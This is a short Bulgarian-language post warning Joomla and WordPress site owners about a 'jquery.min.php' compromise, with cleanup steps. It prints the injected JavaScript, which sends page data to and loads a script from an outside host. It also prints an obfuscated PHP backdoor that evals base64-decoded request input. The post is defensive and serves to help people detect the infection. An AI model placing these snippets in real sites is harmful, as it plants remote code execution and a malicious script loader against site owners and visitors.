Проверете сайта за jquery.min.php - може и да са ве хакнали!

Направете проверка за jquery.min.php във файловете на вашият сайт. Особено ако ползвате Joomla или WordPress. И особено ако го намерите в index.php (на Joomla) или при header.php (на WordPress), това ще означава, че са ви хакнали.
Пълният текст на скрипта е следния (с малки разлики):

<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://agn.eng.br/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>

Изтриите го от файловете, където го намерите.
Но това не е всичко. Ако се ве хакнали както трябва, този троянец ще е оставил следи и бекдори навсякъде.
Трябва да направите търсене за "eval". Резултатите ще са много, но вие търсите нещо от сорта на:

$lsie30 =”o46cbea_dtsp” ;$eeb4 = strtolower($lsie30[4].$lsie30[6]. $lsie30[10].$lsie30[5].$lsie30[2]. $lsie30[1] . $lsie30[7]. $lsie30[8]. $lsie30[5]. $lsie30[3].$lsie30[0].$lsie30[8].$lsie30[5] ); $lbz4= strtoupper( $lsie30[7].$lsie30[11]. $lsie30[0]. $lsie30[10].$lsie30[9]) ;if( isset( ${ $lbz4 } [‘ne9fa0d’]) ){eval ( $eeb4 ( ${$lbz4}[‘ne9fa0d’] ) ) ;}?>

Това също трябва да се премахне.
След това променете името и паролата за логване. Изтриите всички непознати юзери. Направете ъпдейт на CMS-a.
Пълен пост на решението може да намерите тук!